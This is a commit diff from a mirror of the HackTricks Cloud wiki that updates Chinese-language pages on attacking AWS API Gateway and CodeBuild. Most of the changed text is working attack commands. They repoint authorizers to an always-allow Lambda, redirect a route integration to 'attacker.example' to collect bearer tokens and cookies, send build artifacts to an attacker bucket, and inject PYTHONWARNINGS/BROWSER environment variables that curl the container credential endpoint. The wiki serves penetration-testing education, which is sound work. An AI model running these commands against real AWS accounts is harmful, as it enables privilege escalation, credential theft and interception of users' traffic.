mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2026-03-12 21:22:57 -07:00
Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation
This commit is contained in:
@@ -12,21 +12,43 @@
|
||||
|
||||
### 资源策略
|
||||
|
||||
修改 API Gateway 的资源策略以授予自己访问权限
|
||||
修改 API gateway(s) 的资源策略,以授予自己对它们的访问权限
|
||||
|
||||
### 修改 Lambda Authorizers
|
||||
|
||||
修改 Lambda authorizers 的代码以授予自己对所有端点的访问权限。\
|
||||
或者直接移除 authorizer 的使用。
|
||||
修改 lambda authorizers 的代码,以授予自己对所有 endpoints 的访问权限。\ 或者直接移除 authorizer 的使用。
|
||||
|
||||
如果你拥有控制平面权限来 **create/update an authorizer** (REST API: `aws apigateway update-authorizer`, HTTP API: `aws apigatewayv2 update-authorizer`),你也可以 **repoint the authorizer to a Lambda that always allows**。
|
||||
|
||||
REST APIs(更改通常需要部署):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
REST_API_ID="<rest_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigateway update-authorizer --region "$REGION" --rest-api-id "$REST_API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
aws apigateway create-deployment --region "$REGION" --rest-api-id "$REST_API_ID" --stage-name "<stage>"
|
||||
```
|
||||
HTTP APIs / `apigatewayv2` (通常立即生效):
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### IAM 权限
|
||||
|
||||
如果某个资源使用 IAM authorizer,你可以通过修改 IAM 权限为自己授予访问权限。\
|
||||
如果一个资源使用 IAM authorizer,你可以通过修改 IAM 权限来为自己授予访问权限。\
|
||||
或者直接移除 authorizer 的使用。
|
||||
|
||||
### API Keys
|
||||
|
||||
如果使用 API keys,你可以 leak 它们以维持 persistence,甚至创建新的 API keys。\
|
||||
如果使用 API keys,你可以 leak 它们以维持持久性,甚至创建新的 API keys。\
|
||||
或者直接移除 API keys 的使用。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,43 +4,66 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
更多信息请参考:
|
||||
更多信息请参阅:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### 访问未暴露的 APIs
|
||||
### Access unexposed APIs
|
||||
|
||||
你可以在 [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) 创建一个 endpoint,使用服务 `com.amazonaws.us-east-1.execute-api`,在一个你有访问权限的网络中(可能通过 EC2 机器)暴露该 endpoint,并分配允许所有连接的 security group。\
|
||||
然后,从该 EC2 机器你就能访问该 endpoint,从而调用之前未暴露的 gateway API。
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
|
||||
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
|
||||
|
||||
### 绕过 Request body passthrough
|
||||
### Bypass Request body passthrough
|
||||
|
||||
此技术在 [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp) 中被发现。
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
|
||||
正如 [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) 在 `PassthroughBehavior` 部分所示,默认情况下,值 **`WHEN_NO_MATCH`** 在检查请求的 **Content-Type** 头时,会不进行任何转换地将请求传递到后端。
|
||||
如 [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) 在 `PassthroughBehavior` 部分所述,默认情况下,值 **`WHEN_NO_MATCH`** 在检查请求的 **Content-Type** 头时,会在不做任何转换的情况下将请求传递给后端。
|
||||
|
||||
因此,在该 CTF 中,当以 `Content-Type: application/json` 发送请求时,API Gateway 有一个 integration template,**preventing the flag from being exfiltrated** 在响应中:
|
||||
因此,在该 CTF 中,API Gateway 有一个 integration template,在收到 `Content-Type: application/json` 的请求时,**preventing the flag from being exfiltrated** 出现在响应中:
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
然而,发送带有 **`Content-type: text/json`** 的请求可以绕过该过滤器。
|
||||
然而,发送带有 **`Content-type: text/json`** 的请求会绕过该过滤器。
|
||||
|
||||
最后,由于 API Gateway 仅允许 `Get` 和 `Options`,可以通过发送带查询体的 POST 请求并使用头 `X-HTTP-Method-Override: GET` 来无限制地发送任意 dynamoDB 查询:
|
||||
最后,由于 API Gateway 只允许 `Get` 和 `Options`,可以通过发送一个包含查询体的 POST 请求并使用头 `X-HTTP-Method-Override: GET` 来发送任意的 dynamoDB 查询且不受限制:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
### 使用计划 DoS
|
||||
### Usage Plans DoS
|
||||
|
||||
在 **Enumeration** 部分你可以看到如何 **obtain the usage plan** of the keys。如果你有该 key 且它被 **limited** 为每月 X 次使用,你可以 **just use it and cause a DoS**。
|
||||
在 **Enumeration** 部分你可以看到如何 **obtain the usage plan** 来获取这些密钥。如果你拥有该 key 且它被 **limited** 为每月 X 次使用,你可以 **just use it and cause a DoS**。
|
||||
|
||||
The **API Key** just need to be **included** inside a **HTTP header** called **`x-api-key`**。
|
||||
只需将 **API Key** 包含在名为 **`x-api-key`** 的 **HTTP header** 中。
|
||||
|
||||
### Swap Route Integration To Exfil Traffic (HTTP APIs / `apigatewayv2`)
|
||||
|
||||
如果你能更新一个 **HTTP API integration**,你可以将一个敏感路由(例如 `/login`、`/token`、`/submit`)**repoint** 到攻击者控制的 HTTP endpoint,并静默地 **collect headers and bodies**(cookies、`Authorization` bearer tokens、session ids、API keys、由内部作业发送的 secrets 等)。
|
||||
|
||||
Example workflow:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
|
||||
# Find routes and the integration attached to the interesting route
|
||||
aws apigatewayv2 get-routes --region "$REGION" --api-id "$API_ID"
|
||||
ROUTE_ID="<route_id>"
|
||||
INTEGRATION_ID="$(aws apigatewayv2 get-route --region "$REGION" --api-id "$API_ID" --route-id "$ROUTE_ID" --query 'Target' --output text | awk -F'/' '{print $2}')"
|
||||
|
||||
# Repoint the integration to your collector (HTTP_PROXY / URL integration)
|
||||
COLLECTOR_URL="https://attacker.example/collect"
|
||||
aws apigatewayv2 update-integration --region "$REGION" --api-id "$API_ID" --integration-id "$INTEGRATION_ID" --integration-uri "$COLLECTOR_URL"
|
||||
```
|
||||
备注:
|
||||
|
||||
- 对于 **HTTP APIs**,更改通常会立即生效(不像 **REST APIs**,通常需要创建一个 deployment)。
|
||||
- 是否可以指向任意 URL 取决于 integration type/config;在某些情况下,你也可能在 patch 时更改 integration type。
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
拥有权限 `apigateway:UpdateGatewayResponse` 和 `apigateway:CreateDeployment` 的攻击者可以 **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**。
|
||||
拥有 `apigateway:UpdateGatewayResponse` 和 `apigateway:CreateDeployment` 权限的攻击者可以 **修改现有的 Gateway Response 以包含自定义 headers 或 response templates,从而 leak 敏感信息或执行恶意脚本**。
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -51,14 +74,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**潜在影响**: Leakage of 敏感信息、执行恶意脚本或未经授权访问 API 资源。
|
||||
**Potential Impact**: 敏感信息泄露、执行恶意脚本或对 API 资源的未授权访问。
|
||||
|
||||
> [!NOTE]
|
||||
> 需要测试
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
具有权限 `apigateway:UpdateStage` 和 `apigateway:CreateDeployment` 的攻击者可以**修改现有的 API Gateway 阶段,将流量重定向到不同的阶段,或更改缓存设置以获取对缓存数据的未经授权访问**。
|
||||
拥有权限 `apigateway:UpdateStage` 和 `apigateway:CreateDeployment` 的攻击者可以 **修改现有的 API Gateway stage,将流量重定向到不同的 stage 或更改缓存设置以获取对缓存数据的未授权访问**。
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
@@ -69,14 +92,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**潜在影响**:未经授权访问缓存数据,干扰或拦截 API 流量。
|
||||
**Potential Impact**: 未经授权访问缓存数据,中断或拦截 API 流量。
|
||||
|
||||
> [!NOTE]
|
||||
> 需要测试
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
拥有 `apigateway:PutMethodResponse` 和 `apigateway:CreateDeployment` 权限的攻击者可以**修改现有 API Gateway REST API 方法的 method response,以包含 custom headers 或 response templates,从而 leak 敏感信息或执行 malicious scripts**。
|
||||
拥有 `apigateway:PutMethodResponse` 和 `apigateway:CreateDeployment` 权限的攻击者可以**修改现有 API Gateway REST API 方法的 method response,以包含自定义 headers 或 response templates,从而 leak 敏感信息或执行恶意脚本**。
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -89,14 +112,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**潜在影响**: 敏感信息泄露、执行恶意脚本或未经授权访问 API 资源。
|
||||
**Potential Impact**: 敏感信息泄露、执行恶意脚本或对 API 资源的未授权访问。
|
||||
|
||||
> [!NOTE]
|
||||
> 需要测试
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
拥有 `apigateway:UpdateRestApi` 和 `apigateway:CreateDeployment` 权限的攻击者可以**修改 API Gateway REST API 的设置以禁用日志记录或更改最低 TLS 版本,从而可能削弱 API 的安全性**。
|
||||
拥有权限 `apigateway:UpdateRestApi` 和 `apigateway:CreateDeployment` 的攻击者可以**修改 API Gateway REST API 的设置以禁用日志记录或更改最低 TLS 版本,从而可能削弱 API 的安全性**。
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
@@ -106,14 +129,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**潜在影响**: 削弱 API 的安全性,可能允许未经授权的访问或暴露敏感信息。
|
||||
**潜在影响**: 弱化 API 的安全性,可能允许未授权访问或暴露敏感信息。
|
||||
|
||||
> [!NOTE]
|
||||
> 需要测试
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
具有权限 `apigateway:CreateApiKey`、`apigateway:UpdateApiKey`、`apigateway:CreateUsagePlan` 和 `apigateway:CreateUsagePlanKey` 的攻击者可以 **创建新的 API keys、将它们与 usage plans 关联,然后使用这些 keys 对 APIs 进行未经授权的访问**。
|
||||
具有权限 `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, 和 `apigateway:CreateUsagePlanKey` 的攻击者可以 **创建新的 API keys、将它们与 usage plans 关联,然后使用这些密钥对 APIs 进行未授权访问**。
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
@@ -124,7 +147,7 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
**Potential Impact**: 未授权访问 API 资源,绕过安全控制。
|
||||
**潜在影响**: 未经授权访问 API 资源,绕过安全控制。
|
||||
|
||||
> [!NOTE]
|
||||
> 需要测试
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Apigateway
|
||||
|
||||
更多信息请查看:
|
||||
更多信息请参见:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-api-gateway-enum.md
|
||||
@@ -12,37 +12,37 @@
|
||||
|
||||
### `apigateway:POST`
|
||||
|
||||
拥有此权限可为已配置的 APIs(每个区域)生成 API keys。
|
||||
拥有此权限可以为已配置的 APIs 生成 API keys(每个区域)。
|
||||
```bash
|
||||
aws --region <region> apigateway create-api-key
|
||||
```
|
||||
**Potential Impact:** 你不能通过此技术进行 privesc,但可能获得敏感信息。
|
||||
**潜在影响:** 你无法使用此技术进行 privesc,但可能获取到敏感信息。
|
||||
|
||||
### `apigateway:GET`
|
||||
|
||||
拥有此权限,你可以获取所配置 API(按区域)已生成的 API 密钥。
|
||||
拥有此权限,你可以获取已配置 API(按区域)生成的 API 密钥。
|
||||
```bash
|
||||
aws --region <region> apigateway get-api-keys
|
||||
aws --region <region> apigateway get-api-key --api-key <key> --include-value
|
||||
```
|
||||
**潜在影响:** 使用此技术无法进行权限提升(privesc),但你可能会获得对敏感信息的访问。
|
||||
**潜在影响:** 使用此技术无法进行 privesc,但可能获取敏感信息。
|
||||
|
||||
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
|
||||
|
||||
拥有这些权限可以修改 API 的 resource policy,使自己获得调用该 API 的权限,并滥用 API gateway 可能具有的潜在访问(例如调用易受攻击的 lambda)。
|
||||
拥有这些权限后,可以修改某个 API 的资源策略,赋予自己调用该 API 的权限,并滥用 API gateway 可能具有的访问权限(例如调用易受攻击的 lambda)。
|
||||
```bash
|
||||
aws apigateway update-rest-api \
|
||||
--rest-api-id api-id \
|
||||
--patch-operations op=replace,path=/policy,value='"{\"jsonEscapedPolicyDocument\"}"'
|
||||
```
|
||||
**Potential Impact:** 通常情况下,你无法直接使用此技术进行 privesc,但你可能获得敏感信息的访问权。
|
||||
**潜在影响:** 通常情况下,你无法直接通过此技术进行 privesc,但可能会获取敏感信息。
|
||||
|
||||
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
|
||||
|
||||
> [!NOTE]
|
||||
> 需要测试
|
||||
|
||||
拥有 `apigateway:PutIntegration`、`apigateway:CreateDeployment` 和 `iam:PassRole` 权限的攻击者可以 **向现有的 API Gateway REST API 添加一个新的集成,该集成使用附带 IAM role 的 Lambda function**。随后攻击者可以 **触发该 Lambda function 执行任意代码,并可能访问与该 IAM role 关联的资源**。
|
||||
拥有权限 `apigateway:PutIntegration`、`apigateway:CreateDeployment` 和 `iam:PassRole` 的攻击者可以**向现有的 API Gateway REST API 添加一个新的 integration,该 integration 使用附带 IAM role 的 Lambda function**。随后,攻击者可以**触发该 Lambda function 执行任意代码,并可能访问与该 IAM role 关联的资源**。
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -56,14 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**潜在影响**: 访问与 Lambda 函数的 IAM 角色 相关的资源。
|
||||
**Potential Impact**: 访问与 Lambda 函数的 IAM 角色关联的资源。
|
||||
|
||||
### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment`
|
||||
|
||||
> [!NOTE]
|
||||
> 需要测试
|
||||
|
||||
拥有权限 `apigateway:UpdateAuthorizer` 和 `apigateway:CreateDeployment` 的攻击者可以 **modify an existing API Gateway authorizer**,以绕过安全检查或在发出 API 请求时执行任意代码。
|
||||
拥有 `apigateway:UpdateAuthorizer` 和 `apigateway:CreateDeployment` 权限的攻击者可以**修改现有的 API Gateway 授权器**以绕过安全检查(例如将其重新指向一个始终返回 "allow" 的 Lambda),或在 API 请求发生时执行任意代码。
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
AUTHORIZER_ID="your-authorizer-id"
|
||||
@@ -75,14 +75,26 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
**Potential Impact**: 绕过安全检查,未授权访问 API 资源。
|
||||
**潜在影响**: 绕过安全检查,未经授权访问 API 资源。
|
||||
|
||||
#### HTTP APIs / `apigatewayv2` 变体
|
||||
|
||||
对于 HTTP APIs(API Gateway v2),等价操作是通过 `apigatewayv2` 更新授权器:
|
||||
```bash
|
||||
REGION="us-east-1"
|
||||
API_ID="<http_api_id>"
|
||||
AUTHORIZER_ID="<authorizer_id>"
|
||||
LAMBDA_ARN="arn:aws:lambda:$REGION:<account_id>:function:<always_allow_authorizer>"
|
||||
AUTHORIZER_URI="arn:aws:apigateway:$REGION:lambda:path/2015-03-31/functions/$LAMBDA_ARN/invocations"
|
||||
|
||||
aws apigatewayv2 update-authorizer --region "$REGION" --api-id "$API_ID" --authorizer-id "$AUTHORIZER_ID" --authorizer-uri "$AUTHORIZER_URI"
|
||||
```
|
||||
### `apigateway:UpdateVpcLink`
|
||||
|
||||
> [!NOTE]
|
||||
> 需要测试
|
||||
|
||||
拥有权限 `apigateway:UpdateVpcLink` 的攻击者可以 **修改现有的 VPC Link 使其指向不同的 Network Load Balancer,可能将私有 API 流量重定向到未授权或恶意的资源**。
|
||||
具有 `apigateway:UpdateVpcLink` 权限的攻击者可以 **修改现有的 VPC Link,使其指向不同的 Network Load Balancer,可能将私有 API 流量重定向到未授权或恶意的资源**.
|
||||
```bash
|
||||
VPC_LINK_ID="your-vpc-link-id"
|
||||
NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188"
|
||||
@@ -90,6 +102,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new
|
||||
# Update the VPC Link
|
||||
aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]"
|
||||
```
|
||||
**潜在影响**: 未经授权访问私有 API 资源,拦截或中断 API 流量。
|
||||
**Potential Impact**: 未经授权访问私有 API 资源、拦截或中断 API 流量。
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## codebuild
|
||||
|
||||
更多信息请见:
|
||||
获取更多信息:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
@@ -12,7 +12,7 @@
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
|
||||
仅凭其中任一权限即可触发构建,使用新的 buildspec 并窃取分配给该项目的 iam role 的 token:
|
||||
仅需其中一项权限即可触发一次使用新 buildspec 的构建,并窃取分配给该 project 的 iam role 的 token:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -58,16 +58,79 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**注意:** 这两个命令之间的区别在于:
|
||||
**注意**:这两个命令之间的区别在于:
|
||||
|
||||
- `StartBuild` 会触发一个使用特定 `buildspec.yml` 的单个构建任务。
|
||||
- `StartBuildBatch` 允许你启动一批构建,具有更复杂的配置(例如并行运行多个构建)。
|
||||
- `StartBuild` 触发单个构建任务,使用特定的 `buildspec.yml`。
|
||||
- `StartBuildBatch` 允许你启动一批构建,带有更复杂的配置(例如并行运行多个构建)。
|
||||
|
||||
**潜在影响:** 对附加的 AWS Codebuild 角色的直接 privesc。
|
||||
**潜在影响:** 直接 privesc 到附加的 AWS Codebuild 角色。
|
||||
|
||||
#### StartBuild 环境变量覆盖
|
||||
|
||||
即使你**不能修改项目**(`UpdateProject`)并且**不能覆盖 buildspec**,`codebuild:StartBuild` 仍然允许在构建时通过以下方式覆盖环境变量:
|
||||
|
||||
- CLI: `--environment-variables-override`
|
||||
- API: `environmentVariablesOverride`
|
||||
|
||||
如果构建使用环境变量来控制行为(比如 destination buckets、feature flags、proxy settings、logging 等),这可能足以让构建角色可访问的 **exfiltrate secrets** 或在构建内获得 **code execution**。
|
||||
|
||||
##### 示例 1:重定向 Artifact/Upload 目标以 Exfiltrate Secrets
|
||||
|
||||
如果构建将 artifact 发布到由环境变量控制的 bucket/path(例如 `UPLOAD_BUCKET`),则将其覆盖为攻击者控制的 bucket:
|
||||
```bash
|
||||
export PROJECT="<project-name>"
|
||||
export EXFIL_BUCKET="<attacker-controlled-bucket>"
|
||||
|
||||
export BUILD_ID=$(aws codebuild start-build \
|
||||
--project-name "$PROJECT" \
|
||||
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
|
||||
--query build.id --output text)
|
||||
|
||||
# Wait for completion
|
||||
while true; do
|
||||
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
|
||||
[ "$STATUS" = "SUCCEEDED" ] && break
|
||||
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
|
||||
sleep 5
|
||||
done
|
||||
|
||||
# Example expected location (depends on the buildspec/project logic):
|
||||
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
|
||||
```
|
||||
##### 示例 2: Python Startup Injection via `PYTHONWARNINGS` + `BROWSER`
|
||||
|
||||
如果构建运行 `python3`(在 buildspecs 中很常见),你有时可以在不修改 buildspec 的情况下通过滥用以下项获得 code execution:
|
||||
|
||||
- `PYTHONWARNINGS`: Python 解析 *category* 字段并会导入带点的路径。将其设置为 `...:antigravity.x:...` 会强制导入 stdlib 模块 `antigravity`。
|
||||
- `antigravity`: 会调用 `webbrowser.open(...)`。
|
||||
- `BROWSER`: 控制 `webbrowser` 执行什么。在 Linux 上它用 `:` 分隔。使用 `#%s` 会使 URL 参数成为 shell 注释。
|
||||
|
||||
这可以用来将 CodeBuild 的 role credentials(来自 `http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`)打印到 CloudWatch logs,然后如果你有日志读取权限就能回收它们。
|
||||
|
||||
<details>
|
||||
<summary>可展开:StartBuild JSON 请求,用于 <code>PYTHONWARNINGS</code> + <code>BROWSER</code> 技巧</summary>
|
||||
```json
|
||||
{
|
||||
"projectName": "codebuild_lab_7_project",
|
||||
"environmentVariablesOverride": [
|
||||
{
|
||||
"name": "PYTHONWARNINGS",
|
||||
"value": "all:0:antigravity.x:0:0",
|
||||
"type": "PLAINTEXT"
|
||||
},
|
||||
{
|
||||
"name": "BROWSER",
|
||||
"value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s",
|
||||
"type": "PLAINTEXT"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
具有 **`iam:PassRole`、`codebuild:CreateProject` 和 `codebuild:StartBuild` 或 `codebuild:StartBuildBatch`** 权限的攻击者,可以通过创建一个正在运行的 codebuild 构建来**获得任何 codebuild IAM 角色的权限**。
|
||||
拥有 **`iam:PassRole`, `codebuild:CreateProject`,以及 `codebuild:StartBuild` 或 `codebuild:StartBuildBatch`** 权限的攻击者能够通过创建并运行一个构建,将权限提升为任意 codebuild IAM role。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Example1" }}
|
||||
@@ -171,20 +234,20 @@ Wait a few seconds to maybe a couple minutes and view the POST request with data
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在影响:** 直接 privesc 到任何 AWS Codebuild role。
|
||||
**Potential Impact:** 对任何 AWS Codebuild role 直接 privesc。
|
||||
|
||||
> [!WARNING]
|
||||
> 在 **Codebuild container** 中,文件 `/codebuild/output/tmp/env.sh` 包含访问 **元数据凭证** 所需的所有环境变量。
|
||||
> 在 **Codebuild 容器** 中,文件 `/codebuild/output/tmp/env.sh` 包含访问 **metadata credentials** 所需的所有 env vars。
|
||||
|
||||
> 该文件包含 **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**,其中包含访问凭证的 **URL path**。它看起来像 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
> 该文件包含 **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`**,其中有用于访问凭证的 **URL path**。它会像这样 `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420`
|
||||
|
||||
> 将其添加到 URL **`http://169.254.170.2/`**,即可转储角色凭证。
|
||||
> 将其附加到 URL **`http://169.254.170.2/`**,即可导出 role credentials。
|
||||
|
||||
> 此外,它还包含 **env variable `ECS_CONTAINER_METADATA_URI`**,其中包含用于获取关于容器的完整元数据信息的 URL。
|
||||
> 此外,它还包含 **env variable `ECS_CONTAINER_METADATA_URI`**,其中包含获取 **metadata info about the container** 的完整 URL。
|
||||
|
||||
### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
就像前一节,如果不是创建一个 build project 而是修改它,你可以指定 IAM Role 并窃取 token
|
||||
正如上一节,如果你不是创建一个 build project 而是修改它,你可以指定 IAM Role 并窃取 token
|
||||
```bash
|
||||
REV_PATH="/tmp/codebuild_pwn.json"
|
||||
|
||||
@@ -218,11 +281,11 @@ aws codebuild update-project --name codebuild-demo-project --cli-input-json file
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
**Potential Impact:** 直接 privesc 到任何 AWS Codebuild 角色。
|
||||
**Potential Impact:** 直接对任何 AWS Codebuild 角色进行 privesc。
|
||||
|
||||
### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
与上一节类似,但 **没有 `iam:PassRole` 权限**,你可以滥用这些权限来 **修改现有的 Codebuild 项目并访问它们已分配的角色**。
|
||||
与前一节类似,但**没有 `iam:PassRole` 权限**,你可以滥用这些权限来**修改现有的 Codebuild 项目并访问它们已经分配的角色**。
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -298,11 +361,11 @@ aws codebuild start-build-batch --project-name codebuild-demo-project
|
||||
{{#endtab }}
|
||||
{{#endtabs }}
|
||||
|
||||
**潜在影响:** 直接 privesc 到附加的 AWS Codebuild roles。
|
||||
**潜在影响:** 直接对附加的 AWS Codebuild 角色进行 privesc。
|
||||
|
||||
### SSM
|
||||
|
||||
拥有 **足够权限来启动 ssm session** 时,可以进入正在构建的 **Codebuild project**。
|
||||
